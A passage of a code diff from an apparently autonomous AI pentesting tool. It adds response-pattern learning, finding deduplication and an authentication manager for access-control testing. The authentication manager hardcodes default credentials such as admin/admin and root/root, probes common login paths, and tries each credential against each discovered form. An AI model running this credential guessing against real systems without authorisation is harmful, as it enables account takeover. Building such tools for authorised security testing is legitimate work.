len(self.records), + "total_patterns": len(self.custom_patterns), + "last_updated": datetime.now().isoformat(), + }, + } + with open(self.learning_file, "w") as f: + json.dump(data, f, indent=2) + except Exception as e: + logger.debug(f"Failed to save learning data: {e}") + + def record_test( + self, + vuln_type: str, + target_url: str, + status_code: int, + response_body: str, + is_true_positive: bool, + pattern_notes: str = "", + ): + """Record an access control test outcome for learning. + + Called after the validation judge makes a decision, with the + verified outcome (true positive or false positive). + """ + # Identify response pattern + pattern_type = self._classify_response(response_body, status_code) + key_indicators = self._extract_key_indicators(response_body) + + record = TestRecord( + vuln_type=vuln_type, + target_url=target_url, + status_code=status_code, + response_length=len(response_body), + is_true_positive=is_true_positive, + pattern_type=pattern_type, + key_indicators=key_indicators[:10], + notes=pattern_notes[:500], + timestamp=datetime.now().isoformat(), + ) + self.records.append(record) + + # Learn new pattern if we have enough data + self._maybe_learn_pattern(record, response_body) + + # Auto-save periodically + if len(self.records) % 10 == 0: + self._save() + + def _classify_response(self, body: str, status: int) -> str: + """Classify the response into a pattern type.""" + body_lower = body.lower().strip() + + if len(body_lower) < 10: + return "empty_200" + + # Check for denial indicators + denial = ["unauthorized", "forbidden", "access denied", "not authorized", + "permission denied", '"error":', '"success":false'] + if sum(1 for d in denial if d in body_lower) >= 2: + return "denial_200" + + # Check for login page + login = ["type=\"password\"", "sign in", "log in", "= 2: + return "login_redirect" + + # Check for data fields + data = ['"email":', '"name":', '"phone":', '"address":', + '"role":', '"password":', '"token":'] + if sum(1 for d in data if d in body_lower) >= 2: + return "cross_user_data" if status == 200 else "blocked_data" + + return "unknown" + + def _extract_key_indicators(self, body: str) -> List[str]: + """Extract key string indicators from the response.""" + indicators = [] + body_lower = body.lower() + + # Check for JSON keys + json_keys = re.findall(r'"(\w+)":', body[:2000]) + indicators.extend(json_keys[:10]) + + # Check for specific patterns + patterns = { + "has_email": '"email":' in body_lower, + "has_name": '"name":' in body_lower, + "has_error": '"error":' in body_lower, + "has_success_false": '"success":false' in body_lower or '"success": false' in body_lower, + "has_login_form": 'type="password"' in body_lower, + "is_empty_array": body.strip() in ("[]", "{}"), + "has_html_form": " List[ResponsePattern]: + """Get learned patterns for a specific target domain.""" + return [ + p for p in self.custom_patterns + if p.target_domain == domain + ] + + def get_false_positive_rate(self, vuln_type: str) -> float: + """Get the false positive rate for a specific vuln type from historical data.""" + type_records = [r for r in self.records if r.vuln_type == vuln_type] + if not type_records: + return 0.5 # No data → assume 50% + fp_count = sum(1 for r in type_records if not r.is_true_positive) + return fp_count / len(type_records) + + def get_learning_context(self, vuln_type: str, domain: str = "") -> str: + """Generate learning context for AI prompts. + + Returns a formatted string with learned patterns and statistics + that can be injected into LLM prompts to improve access control testing. + """ + parts = [] + + # Historical stats + type_records = [r for r in self.records if r.vuln_type == vuln_type] + if type_records: + total = len(type_records) + tp = sum(1 for r in type_records if r.is_true_positive) + fp = total - tp + parts.append( + f"Historical {vuln_type} testing: {total} tests, " + f"{tp} true positives ({100*tp/total:.0f}%), " + f"{fp} false positives ({100*fp/total:.0f}%)" + ) + + # Most common FP patterns + fp_patterns = [r.pattern_type for r in type_records if not r.is_true_positive] + if fp_patterns: + from collections import Counter + common = Counter(fp_patterns).most_common(3) + pattern_str = ", ".join(f"{p} ({c}x)" for p, c in common) + parts.append(f"Common false positive patterns: {pattern_str}") + + # Domain-specific patterns + if domain: + domain_patterns = self.get_patterns_for_target(domain) + if domain_patterns: + for p in domain_patterns[:5]: + status = "FALSE POSITIVE" if p.is_false_positive else "TRUE POSITIVE" + parts.append( + f"Known pattern for {domain}: {p.pattern_type} = {status} " + f"(confidence: {p.confidence:.0%})" + ) + + # Known application FP patterns + if domain: + for app_name, indicators in self.KNOWN_FP_PATTERNS.items(): + if any(i in domain.lower() for i in indicators): + parts.append( + f"WARNING: Target appears to use {app_name} — " + f"known for producing false positive access control findings" + ) + + if not parts: + return "" + + return "## Learned Access Control Patterns\n" + "\n".join(f"- {p}" for p in parts) + + def get_evaluation_hints(self, vuln_type: str, response_body: str, status: int) -> Dict: + """Get evaluation hints for a specific response. + + Returns hints that can help the validation judge or AI make better decisions. + """ + pattern_type = self._classify_response(response_body, status) + indicators = self._extract_key_indicators(response_body) + + # Check against default patterns + matching_default = [ + p for p in self.DEFAULT_PATTERNS + if any(i.lower() in response_body.lower() for i in p["indicators"] if i) + ] + + # Check against learned patterns + matching_learned = [ + p for p in self.custom_patterns + if p.vuln_type == vuln_type and p.pattern_type == pattern_type + ] + + fp_signals = sum( + 1 for p in matching_default if p["is_false_positive"] + ) + sum( + 1 for p in matching_learned if p.is_false_positive + ) + + tp_signals = sum( + 1 for p in matching_default if not p["is_false_positive"] + ) + sum( + 1 for p in matching_learned if not p.is_false_positive + ) + + return { + "pattern_type": pattern_type, + "indicators": indicators, + "fp_signals": fp_signals, + "tp_signals": tp_signals, + "likely_false_positive": fp_signals > tp_signals, + "matching_patterns": len(matching_default) + len(matching_learned), + } diff --git a/backend/core/agent_memory.py b/backend/core/agent_memory.py new file mode 100644 index 0000000..6d95f66 --- /dev/null +++ b/backend/core/agent_memory.py @@ -0,0 +1,401 @@ +""" +NeuroSploit v3 - Agent Memory Management + +Bounded, deduplicated memory architecture for the autonomous agent. +Replaces ad-hoc self.findings / self.tested_payloads with structured, +eviction-aware data stores. + +Inspired by XBOW benchmark methodology: every finding must have +real HTTP evidence, duplicates are suppressed, baselines are cached. +""" + +import hashlib +import re +from dataclasses import dataclass, field, asdict +from datetime import datetime +from typing import Dict, List, Optional, Any, Set +from collections import OrderedDict +from urllib.parse import urlparse + + +# --------------------------------------------------------------------------- +# Data classes +# --------------------------------------------------------------------------- + +@dataclass +class TestedCombination: + """Record of a (url, param, vuln_type) test attempt""" + url: str + param: str + vuln_type: str + payloads_used: List[str] = field(default_factory=list) + was_vulnerable: bool = False + tested_at: str = "" + + def __post_init__(self): + if not self.tested_at: + self.tested_at = datetime.utcnow().isoformat() + + +@dataclass +class EndpointFingerprint: + """Fingerprint of an endpoint's normal response""" + url: str + status_code: int = 0 + content_type: str = "" + body_length: int = 0 + body_hash: str = "" + server_header: str = "" + powered_by: str = "" + error_patterns: List[str] = field(default_factory=list) + tech_headers: Dict[str, str] = field(default_factory=dict) + fingerprinted_at: str = "" + + def __post_init__(self): + if not self.fingerprinted_at: + self.fingerprinted_at = datetime.utcnow().isoformat() + + +@dataclass +class RejectedFinding: + """Audit trail for rejected findings""" + finding_hash: str + vuln_type: str + endpoint: str + param: str + reason: str + rejected_at: str = "" + + def __post_init__(self): + if not self.rejected_at: + self.rejected_at = datetime.utcnow().isoformat() + + +# --------------------------------------------------------------------------- +# Speculative language patterns (anti-hallucination) +# --------------------------------------------------------------------------- + +SPECULATIVE_PATTERNS = re.compile( + r"\b(could be|might be|may be|theoretically|potentially vulnerable|" + r"possibly|appears to be vulnerable|suggests? (a )?vulnerab|" + r"it is possible|in theory|hypothetically)\b", + re.IGNORECASE +) + + +# --------------------------------------------------------------------------- +# AgentMemory +# --------------------------------------------------------------------------- + +class AgentMemory: + """ + Bounded memory store for the autonomous agent. + + All containers have hard caps. When a cap is reached, the oldest 25% + of entries are evicted (LRU-style). + """ + + # Capacity limits + MAX_TESTED = 10_000 + MAX_BASELINES = 500 + MAX_FINGERPRINTS = 500 + MAX_CONFIRMED = 200 + MAX_REJECTED = 500 + + # Domain-scoped types: only 1 finding per domain (not per URL) + DOMAIN_SCOPED_TYPES = { + # Infrastructure / headers + "security_headers", "clickjacking", "insecure_http_headers", + "missing_xcto", "missing_csp", "missing_hsts", + "missing_referrer_policy", "missing_permissions_policy", + "cors_misconfig", "insecure_cors_policy", "ssl_issues", "weak_tls_config", + "http_methods", "unrestricted_http_methods", + # Server config + "debug_mode", "debug_mode_enabled", "verbose_error_messages", + "directory_listing", "directory_listing_enabled", + "exposed_admin_panel", "exposed_api_docs", "insecure_cookie_flags", + # Data exposure + "cleartext_transmission", "sensitive_data_exposure", + "information_disclosure", "version_disclosure", + "weak_encryption", "weak_hashing", "weak_random", + # Auth config + "missing_mfa", "weak_password_policy", "weak_password", + # Cloud/API + "graphql_introspection", "rest_api_versioning", "api_rate_limiting", + } + + def __init__(self): + # Core stores (OrderedDict for eviction order) + self.tested_combinations: OrderedDict[str, TestedCombination] = OrderedDict() + self.baseline_responses: OrderedDict[str, dict] = OrderedDict() + self.endpoint_fingerprints: OrderedDict[str, EndpointFingerprint] = OrderedDict() + + # Findings + self.confirmed_findings: List[Any] = [] # List[Finding] - uses agent's Finding dataclass + self._finding_hashes: Set[str] = set() # fast dedup lookup + + # Audit trail + self.rejected_findings: List[RejectedFinding] = [] + + # Technology stack detected across all endpoints + self.technology_stack: Dict[str, str] = {} # e.g. {"server": "Apache", "x-powered-by": "PHP/8.1"} + + # ------------------------------------------------------------------ + # Tested-combination tracking + # ------------------------------------------------------------------ + + @staticmethod + def _test_key(url: str, param: str, vuln_type: str) -> str: + """Deterministic key for a (url, param, vuln_type) tuple""" + return hashlib.sha256(f"{url}|{param}|{vuln_type}".encode()).hexdigest() + + def was_tested(self, url: str, param: str, vuln_type: str) -> bool: + """Check whether this combination was already tested""" + return self._test_key(url, param, vuln_type) in self.tested_combinations + + def record_test( + self, url: str, param: str, vuln_type: str, + payloads: List[str], was_vulnerable: bool = False + ): + """Record a completed test""" + key = self._test_key(url, param, vuln_type) + self.tested_combinations[key] = TestedCombination( + url=url, param=param, vuln_type=vuln_type, + payloads_used=payloads[:10], # store up to 10 payloads + was_vulnerable=was_vulnerable, + ) + self._enforce_limit(self.tested_combinations, self.MAX_TESTED) + + # ------------------------------------------------------------------ + # Baseline caching + # ------------------------------------------------------------------ + + @staticmethod + def _baseline_key(url: str) -> str: + """Key for baseline storage (strip query params for reuse)""" + from urllib.parse import urlparse + parsed = urlparse(url) + return f"{parsed.scheme}://{parsed.netloc}{parsed.path}" + + def store_baseline(self, url: str, response: dict): + """Cache a baseline (clean) response for a URL""" + key = self._baseline_key(url) + body = response.get("body", "") + self.baseline_responses[key] = { + "status": response.get("status", 0), + "content_type": response.get("content_type", ""), + "body_length": len(body), + "body_hash": hashlib.md5(body.encode("utf-8", errors="replace")).hexdigest(), + "body": body[:5000], # store first 5k chars for comparison + "headers": response.get("headers", {}), + "fetched_at": datetime.utcnow().isoformat(), + } + self._enforce_limit(self.baseline_responses, self.MAX_BASELINES) + + def get_baseline(self, url: str) -> Optional[dict]: + """Retrieve cached baseline for a URL""" + key = self._baseline_key(url) + baseline = self.baseline_responses.get(key) + if baseline: + # Move to end (mark as recently used) + self.baseline_responses.move_to_end(key) + return baseline + + # ------------------------------------------------------------------ + # Endpoint fingerprinting + # ------------------------------------------------------------------ + + def store_fingerprint(self, url: str, response: dict): + """Extract and store endpoint fingerprint from a response""" + key = self._baseline_key(url) + headers = response.get("headers", {}) + body = response.get("body", "") + + # Detect error patterns in the body + error_patterns = [] + error_regexes = [ + r"(?:sql|database|query)\s*(?:error|syntax|exception)", + r"(?:warning|fatal|parse)\s*(?:error|exception)", + r"stack\s*trace", + r"traceback\s*\(most recent", + r"(?:Warning|Fatal error|Notice)", + r"Internal Server Error", + ] + body_lower = body.lower() if body else "" + for pat in error_regexes: + if re.search(pat, body_lower): + error_patterns.append(pat) + + fp = EndpointFingerprint( + url=url, + status_code=response.get("status", 0), + content_type=response.get("content_type", ""), + body_length=len(body), + body_hash=hashlib.md5(body.encode("utf-8", errors="replace")).hexdigest(), + server_header=headers.get("server", headers.get("Server", "")), + powered_by=headers.get("x-powered-by", headers.get("X-Powered-By", "")), + error_patterns=error_patterns, + tech_headers={ + k: v for k, v in headers.items() + if k.lower() in ( + "server", "x-powered-by", "x-aspnet-version", + "x-generator", "x-drupal-cache", "x-framework", + ) + }, + ) + self.endpoint_fingerprints[key] = fp + self._enforce_limit(self.endpoint_fingerprints, self.MAX_FINGERPRINTS) + + # Update global tech stack + if fp.server_header: + self.technology_stack["server"] = fp.server_header + if fp.powered_by: + self.technology_stack["x-powered-by"] = fp.powered_by + for k, v in fp.tech_headers.items(): + self.technology_stack[k.lower()] = v + + def get_fingerprint(self, url: str) -> Optional[EndpointFingerprint]: + """Retrieve fingerprint for a URL""" + key = self._baseline_key(url) + return self.endpoint_fingerprints.get(key) + + # ------------------------------------------------------------------ + # Finding management (dedup + bounded) + # ------------------------------------------------------------------ + + @staticmethod + def _finding_hash(finding) -> str: + """Compute dedup hash for a finding. + For domain-scoped types, uses scheme://netloc instead of full URL + so the same missing header isn't reported per-URL. + """ + vuln_type = finding.vulnerability_type + endpoint = finding.affected_endpoint + if vuln_type in AgentMemory.DOMAIN_SCOPED_TYPES: + parsed = urlparse(endpoint) + scope_key = f"{parsed.scheme}://{parsed.netloc}" + else: + scope_key = endpoint + raw = f"{vuln_type}|{scope_key}|{finding.parameter}" + return hashlib.sha256(raw.encode()).hexdigest() + + def _find_existing(self, finding) -> Optional[Any]: + """Find an existing confirmed finding with the same dedup hash.""" + fh = self._finding_hash(finding) + if fh not in self._finding_hashes: + return None + for f in self.confirmed_findings: + if self._finding_hash(f) == fh: + return f + return None + + def add_finding(self, finding) -> bool: + """ + Add a confirmed finding. Returns False if: + - duplicate (same vuln_type + endpoint + param) + - at capacity + - evidence is missing or speculative + + For domain-scoped types, duplicates append the URL to + the existing finding's affected_urls list instead. + """ + fh = self._finding_hash(finding) + + # Dedup check — for domain-scoped types, merge URLs + if fh in self._finding_hashes: + if finding.vulnerability_type in self.DOMAIN_SCOPED_TYPES: + existing = self._find_existing(finding) + if existing and hasattr(existing, "affected_urls"): + url = finding.affected_endpoint + if url and url not in existing.affected_urls: + existing.affected_urls.append(url) + return False + + # Capacity check + if len(self.confirmed_findings) >= self.MAX_CONFIRMED: + return False + + # Evidence quality check + if not finding.evidence and not finding.response: + return False + + # Speculative language check + if finding.evidence and SPECULATIVE_PATTERNS.search(finding.evidence): + self.reject_finding(finding, "Speculative language in evidence") + return False + + self.confirmed_findings.append(finding) + self._finding_hashes.add(fh) + return True + + def reject_finding(self, finding, reason: str): + """Record a rejected finding for audit""" + self.rejected_findings.append(RejectedFinding( + finding_hash=self._finding_hash(finding), + vuln_type=getattr(finding, "vulnerability_type", "unknown"), + endpoint=getattr(finding, "affected_endpoint", ""), + param=getattr(finding, "parameter", ""), + reason=reason, + )) + if len(self.rejected_findings) > self.MAX_REJECTED: + # Evict oldest 25% + cut = self.MAX_REJECTED // 4 + self.rejected_findings = self.rejected_findings[cut:] + + def has_finding_for(self, vuln_type: str, endpoint: str, param: str = "") -> bool: + """Check if a confirmed finding already exists for this combo. + Uses domain-scoped key for domain-scoped types. + """ + if vuln_type in self.DOMAIN_SCOPED_TYPES: + parsed = urlparse(endpoint) + scope_key = f"{parsed.scheme}://{parsed.netloc}" + else: + scope_key = endpoint + raw = f"{vuln_type}|{scope_key}|{param}" + fh = hashlib.sha256(raw.encode()).hexdigest() + return fh in self._finding_hashes + + # ------------------------------------------------------------------ + # Eviction helper + # ------------------------------------------------------------------ + + @staticmethod + def _enforce_limit(od: OrderedDict, limit: int): + """Evict oldest 25% when limit is exceeded""" + if len(od) <= limit: + return + to_remove = limit // 4 + for _ in range(to_remove): + od.popitem(last=False) # pop oldest + + # ------------------------------------------------------------------ + # Stats / introspection + # ------------------------------------------------------------------ + + def stats(self) -> dict: + """Return memory usage statistics""" + return { + "tested_combinations": len(self.tested_combinations), + "baseline_responses": len(self.baseline_responses), + "endpoint_fingerprints": len(self.endpoint_fingerprints), + "confirmed_findings": len(self.confirmed_findings), + "rejected_findings": len(self.rejected_findings), + "technology_stack": dict(self.technology_stack), + "limits": { + "tested": self.MAX_TESTED, + "baselines": self.MAX_BASELINES, + "fingerprints": self.MAX_FINGERPRINTS, + "confirmed": self.MAX_CONFIRMED, + "rejected": self.MAX_REJECTED, + }, + } + + def clear(self): + """Reset all memory stores""" + self.tested_combinations.clear() + self.baseline_responses.clear() + self.endpoint_fingerprints.clear() + self.confirmed_findings.clear() + self._finding_hashes.clear() + self.rejected_findings.clear() + self.technology_stack.clear() diff --git a/backend/core/auth_manager.py b/backend/core/auth_manager.py new file mode 100644 index 0000000..fb1c864 --- /dev/null +++ b/backend/core/auth_manager.py @@ -0,0 +1,596 @@ +""" +NeuroSploit v3 - Authentication Manager + +Autonomous login, session management, multi-user context for +BOLA/BFLA/IDOR testing. Handles login form detection, CSRF extraction, +credential management, and session refresh. +""" + +import logging +import re +import time +from dataclasses import dataclass, field +from datetime import datetime +from typing import Callable, Dict, List, Optional, Any +from urllib.parse import urlparse, urljoin + +logger = logging.getLogger(__name__) + + +@dataclass +class Credentials: + """A set of credentials for testing.""" + username: str + password: str + role: str = "user" # user, admin + source: str = "provided" # provided, discovered, default + + +@dataclass +class SessionContext: + """Authentication session state.""" + name: str # "user_a", "user_b", "admin" + role: str # user, admin + cookies: Dict[str, str] = field(default_factory=dict) + tokens: Dict[str, str] = field(default_factory=dict) # bearer, jwt, api_key + headers: Dict[str, str] = field(default_factory=dict) # Authorization: Bearer xxx + state: str = "unauthenticated" # unauthenticated, authenticating, authenticated, expired + login_time: Optional[float] = None + credential: Optional[Credentials] = None + login_url: Optional[str] = None + session_duration: float = 3600.0 # Estimated session lifetime (1 hour default) + + +@dataclass +class LoginForm: + """Detected login form.""" + url: str # Form action URL + method: str # POST usually + username_field: str # name attribute of username input + password_field: str # name attribute of password input + csrf_field: Optional[str] = None + csrf_value: Optional[str] = None + extra_fields: Dict[str, str] = field(default_factory=dict) + confidence: float = 0.0 + + +class AuthManager: + """Autonomous authentication manager. + + Manages login automation, session tracking, and multi-user + contexts for access control vulnerability testing. + + Features: + - Login form detection from HTML + - CSRF token extraction + - Credential management (provided + discovered) + - Session state machine (unauthenticated -> authenticated -> expired) + - Multi-user contexts for BOLA/BFLA/IDOR testing + - Auto session refresh on expiry detection + - Token extraction from responses (JWT, Bearer, API keys) + """ + + # Default credentials to try on admin panels + DEFAULT_CREDENTIALS = [ + Credentials("admin", "admin", "admin", "default"), + Credentials("admin", "password", "admin", "default"), + Credentials("admin", "admin123", "admin", "default"), + Credentials("root", "root", "admin", "default"), + Credentials("test", "test", "user", "default"), + Credentials("user", "user", "user", "default"), + Credentials("admin", "Password1", "admin", "default"), + Credentials("administrator", "administrator", "admin", "default"), + ] + + # Session expiry indicators + EXPIRY_INDICATORS = [ + "session expired", "session timeout", "please log in", + "please login", "sign in again", "token expired", + "unauthorized", "authentication required", "not authenticated", + "jwt expired", "invalid token", "access token expired", + ] + + # Login success indicators + SUCCESS_INDICATORS = [ + "welcome", "dashboard", "my account", "profile", + "logged in", "sign out", "logout", "log out", + "home", "settings", "preferences", + ] + + # Login failure indicators + FAILURE_INDICATORS = [ + "invalid", "incorrect", "wrong", "failed", "error", + "denied", "bad credentials", "authentication failed", + "login failed", "invalid username", "invalid password", + ] + + def __init__(self, request_engine=None, recon=None): + self.request_engine = request_engine + self.recon = recon + + # Credential store + self._credentials: Dict[str, List[Credentials]] = { + "user": [], + "admin": [], + } + + # Session contexts + self.contexts: Dict[str, SessionContext] = { + "user_a": SessionContext(name="user_a", role="user"), + "user_b": SessionContext(name="user_b", role="user"), + "admin": SessionContext(name="admin", role="admin"), + } + + # Discovered login forms + self._login_forms: List[LoginForm] = [] + self._login_attempts = 0 + self._successful_logins = 0 + + # --- Credential Management ------------------------------------------- + + def add_credentials(self, username: str, password: str, role: str = "user", source: str = "provided"): + """Add credentials for testing.""" + cred = Credentials(username, password, role, source) + self._credentials.setdefault(role, []).append(cred) + logger.debug(f"Added {role} credentials: {username} (source: {source})") + + def add_discovered_credentials(self, creds_list: List[Dict]): + """Add credentials discovered during testing (from info disclosure, etc.).""" + for cred_info in creds_list: + username = cred_info.get("username", "") + password = cred_info.get("password", "") + if username and password: + self.add_credentials(username, password, role="user", source="discovered") + + def get_credentials_for_role(self, role: str) -> List[Credentials]: + """Get all credentials for a role.""" + creds = self._credentials.get(role, []) + if not creds and role == "admin": + return self.DEFAULT_CREDENTIALS[:4] # Only admin defaults + if not creds and role == "user": + return self.DEFAULT_CREDENTIALS[4:6] # Only user defaults + return creds + + # --- Login Form Detection -------------------------------------------- + + def detect_login_forms(self, html: str, page_url: str) -> List[LoginForm]: + """Detect login forms in HTML content.""" + forms = [] + + # Find all
tags + form_pattern = re.compile( + r']*>(.*?)', + re.DOTALL | re.IGNORECASE + ) + + for form_match in form_pattern.finditer(html): + form_html = form_match.group(0) + form_inner = form_match.group(1) + + # Check if this looks like a login form + has_password = bool(re.search(r'type=["\']password["\']', form_inner, re.I)) + if not has_password: + continue + + # Extract form action + action_match = re.search(r'action=["\']([^"\']*)["\']', form_html, re.I) + action = action_match.group(1) if action_match else page_url + if not action.startswith("http"): + action = urljoin(page_url, action) + + # Extract method + method_match = re.search(r'method=["\']([^"\']*)["\']', form_html, re.I) + method = (method_match.group(1) if method_match else "POST").upper() + + # Find username field + username_field = self._find_username_field(form_inner) + + # Find password field + password_field = self._find_field_name(form_inner, r'type=["\']password["\']') + + # Find CSRF token + csrf_field, csrf_value = self._find_csrf_token(form_inner) + + # Find hidden fields + extra_fields = self._find_hidden_fields(form_inner) + if csrf_field and csrf_field in extra_fields: + del extra_fields[csrf_field] + + # Calculate confidence + confidence = 0.5 # Has password field + login_keywords = ["login", "signin", "sign-in", "auth", "log-in", "session"] + if any(kw in action.lower() for kw in login_keywords): + confidence += 0.3 + if any(kw in form_html.lower() for kw in login_keywords): + confidence += 0.2 + + if username_field and password_field: + forms.append(LoginForm( + url=action, + method=method, + username_field=username_field, + password_field=password_field, + csrf_field=csrf_field, + csrf_value=csrf_value, + extra_fields=extra_fields, + confidence=min(1.0, confidence), + )) + + # Sort by confidence + forms.sort(key=lambda f: f.confidence, reverse=True) + self._login_forms.extend(forms) + return forms + + def _find_username_field(self, html: str) -> Optional[str]: + """Find the username/email input field name.""" + # Priority: explicit username/email fields + patterns = [ + r'name=["\']([^"\']*(?:user|login|email|account)[^"\']*)["\']', + r'name=["\']([^"\']*)["\'].*?type=["\'](?:text|email)["\']', + r'type=["\'](?:text|email)["\'].*?name=["\']([^"\']*)["\']', + ] + for pattern in patterns: + match = re.search(pattern, html, re.I) + if match: + return match.group(1) + return None + + def _find_field_name(self, html: str, type_pattern: str) -> Optional[str]: + """Find field name for a given input type pattern.""" + # Try: name="x" ... type="password" + match = re.search( + r'name=["\']([^"\']+)["\'][^>]*' + type_pattern, + html, re.I + ) + if match: + return match.group(1) + # Try: type="password" ... name="x" + match = re.search( + type_pattern + r'[^>]*name=["\']([^"\']+)["\']', + html, re.I + ) + if match: + return match.group(1) + return None + + def _find_csrf_token(self, html: str): + """Find CSRF token in form.""" + csrf_patterns = [ + r'name=["\']([^"\']*(?:csrf|_token|csrfmiddlewaretoken|__RequestVerificationToken|authenticity_token|_csrf_token)[^"\']*)["\'][^>]*value=["\']([^"\']*)["\']', + r'value=["\']([^"\']*)["\'][^>]*name=["\']([^"\']*(?:csrf|_token|csrfmiddlewaretoken)[^"\']*)["\']', + ] + for pattern in csrf_patterns: + match = re.search(pattern, html, re.I) + if match: + groups = match.groups() + if "csrf" in groups[0].lower() or "_token" in groups[0].lower(): + return groups[0], groups[1] + return groups[1], groups[0] + return None, None + + def _find_hidden_fields(self, html: str) -> Dict[str, str]: + """Extract all hidden field name-value pairs.""" + fields = {} + pattern = re.compile( + r'type=["\']hidden["\'][^>]*name=["\']([^"\']+)["\'][^>]*value=["\']([^"\']*)["\']', + re.I + ) + for match in pattern.finditer(html): + fields[match.group(1)] = match.group(2) + + # Also try reverse order (name before type) + pattern2 = re.compile( + r'name=["\']([^"\']+)["\'][^>]*type=["\']hidden["\'][^>]*value=["\']([^"\']*)["\']', + re.I + ) + for match in pattern2.finditer(html): + fields[match.group(1)] = match.group(2) + + return fields + + # --- Authentication -------------------------------------------------- + + async def authenticate(self, context_name: str = "user_a") -> bool: + """Attempt to authenticate a session context. + + Tries login forms with available credentials. + Returns True if authentication succeeded. + """ + if not self.request_engine: + return False + + ctx = self.contexts.get(context_name) + if not ctx: + return False + + ctx.state = "authenticating" + creds = self.get_credentials_for_role(ctx.role) + + if not creds: + logger.debug(f"No credentials available for {context_name} ({ctx.role})") + ctx.state = "unauthenticated" + return False + + # Find login forms if not already discovered + if not self._login_forms: + await self._discover_login_forms() + + if not self._login_forms: + logger.debug("No login forms found") + ctx.state = "unauthenticated" + return False + + # Try each form with each credential + for form in self._login_forms: + for cred in creds: + self._login_attempts += 1 + success = await self._attempt_login(form, cred, ctx) + if success: + ctx.state = "authenticated" + ctx.credential = cred + ctx.login_time = time.time() + ctx.login_url = form.url + self._successful_logins += 1 + logger.info(f"Login success: {context_name} as {cred.username} ({cred.role})") + return True + + ctx.state = "unauthenticated" + return False + + async def _discover_login_forms(self): + """Discover login forms by crawling common login paths.""" + if not self.request_engine: + return + + # Use recon data if available + target = "" + if self.recon and hasattr(self.recon, "target"): + target = self.recon.target + + if not target: + return + + login_paths = [ + "/login", "/signin", "/sign-in", "/auth/login", + "/user/login", "/admin/login", "/api/auth/login", + "/account/login", "/wp-login.php", "/admin", + ] + + parsed = urlparse(target) + base = f"{parsed.scheme}://{parsed.netloc}" + + for path in login_paths: + try: + url = f"{base}{path}" + result = await self.request_engine.request(url, method="GET") + if result and result.status == 200 and result.body: + forms = self.detect_login_forms(result.body, url) + if forms: + logger.debug(f"Found {len(forms)} login form(s) at {url}") + return # Found forms, stop searching + except Exception: + continue + + async def _attempt_login(self, form: LoginForm, cred: Credentials, ctx: SessionContext) -> bool: + """Attempt login with a specific form and credential.""" + try: + # Build form data + data = {} + + # Add hidden fields first + data.update(form.extra_fields) + + # Refresh CSRF token if needed + if form.csrf_field: + fresh_csrf = await self._refresh_csrf(form) + if fresh_csrf: + data[form.csrf_field] = fresh_csrf + elif form.csrf_value: + data[form.csrf_field] = form.csrf_value + + # Add credentials + data[form.username_field] = cred.username + data[form.password_field] = cred.password + + # Submit form + result = await self.request_engine.request( + form.url, + method=form.method, + data=data, + allow_redirects=True, + ) + + if not result: + return False + + # Check for login success + success = self._detect_login_success( + result.body, result.status, result.headers + ) + + if success: + # Extract tokens and cookies + self._extract_session_data(result, ctx) + return True + + return False + + except Exception as e: + logger.debug(f"Login attempt failed: {e}") + return False + + async def _refresh_csrf(self, form: LoginForm) -> Optional[str]: + """Fetch fresh CSRF token from the login page.""" + try: + # GET the form page to get a fresh token + page_url = form.url.replace(urlparse(form.url).path, "") + urlparse(form.url).path + result = await self.request_engine.request(page_url, method="GET") + if result and result.body: + _, csrf_value = self._find_csrf_token(result.body) + return csrf_value + except Exception: + pass + return None + + def _detect_login_success(self, body: str, status: int, headers: Dict) -> bool: + """Detect if login was successful.""" + body_lower = (body or "").lower() + + # Check for redirect to authenticated area + if status in (301, 302, 303, 307): + location = headers.get("Location", headers.get("location", "")) + if any(kw in location.lower() for kw in ["dashboard", "home", "profile", "admin"]): + return True + + # Check for Set-Cookie (session creation) + has_session_cookie = any( + "set-cookie" in k.lower() for k in headers + ) + + # Check for success indicators in body + success_count = sum(1 for kw in self.SUCCESS_INDICATORS if kw in body_lower) + failure_count = sum(1 for kw in self.FAILURE_INDICATORS if kw in body_lower) + + # Success if: session cookie + success indicators and no failure indicators + if has_session_cookie and success_count > 0 and failure_count == 0: + return True + + # Success if: 200 OK + strong success indicators + no failure + if status == 200 and success_count >= 2 and failure_count == 0: + return True + + return False + + def _extract_session_data(self, result, ctx: SessionContext): + """Extract tokens and cookies from a successful login response.""" + # Extract cookies from Set-Cookie headers + for key, value in result.headers.items(): + if key.lower() == "set-cookie": + cookie_parts = value.split(";")[0].split("=", 1) + if len(cookie_parts) == 2: + ctx.cookies[cookie_parts[0].strip()] = cookie_parts[1].strip() + + # Extract tokens from response body (JSON) + body = result.body or "" + token_patterns = [ + (r'"(?:access_token|token|jwt|bearer|id_token)"\s*:\s*"([^"]+)"', "bearer"), + (r'"(?:api_key|apikey|api-key)"\s*:\s*"([^"]+)"', "api_key"), + (r'"(?:refresh_token)"\s*:\s*"([^"]+)"', "refresh"), + ] + + for pattern, token_type in token_patterns: + match = re.search(pattern, body, re.I) + if match: + ctx.tokens[token_type] = match.group(1) + + # Build auth headers + if "bearer" in ctx.tokens: + ctx.headers["Authorization"] = f"Bearer {ctx.tokens['bearer']}" + elif "api_key" in ctx.tokens: + ctx.headers["X-API-Key"] = ctx.tokens["api_key"] + + # --- Session Management ---------------------------------------------- + + def detect_session_expiry(self, body: str, status: int) -> bool: + """Check if a response indicates session expiry.""" + if status in (401, 403): + return True + + body_lower = (body or "").lower() + return any(kw in body_lower for kw in self.EXPIRY_INDICATORS) + + async def refresh(self, context_name: Optional[str] = None) -> bool: + """Refresh an expired session by re-authenticating. + + If context_name is None, refresh all expired sessions. + """ + contexts_to_refresh = [] + if context_name: + ctx = self.contexts.get(context_name) + if ctx and ctx.state == "expired": + contexts_to_refresh.append(context_name) + else: + for name, ctx in self.contexts.items(): + if ctx.state == "expired": + contexts_to_refresh.append(name) + + results = [] + for name in contexts_to_refresh: + ctx = self.contexts[name] + ctx.state = "unauthenticated" + ctx.cookies.clear() + ctx.tokens.clear() + ctx.headers.clear() + success = await self.authenticate(name) + results.append(success) + + return all(results) if results else False + + def check_and_mark_expiry(self, context_name: str, body: str, status: int) -> bool: + """Check response for expiry and mark context if expired. + + Returns True if session was detected as expired. + """ + ctx = self.contexts.get(context_name) + if not ctx or ctx.state != "authenticated": + return False + + if self.detect_session_expiry(body, status): + ctx.state = "expired" + logger.info(f"Session expired for {context_name}") + return True + + # Check time-based expiry + if ctx.login_time and (time.time() - ctx.login_time) > ctx.session_duration: + ctx.state = "expired" + logger.info(f"Session timeout for {context_name}") + return True + + return False + + # --- Request Integration --------------------------------------------- + + def get_context(self, context_name: str) -> 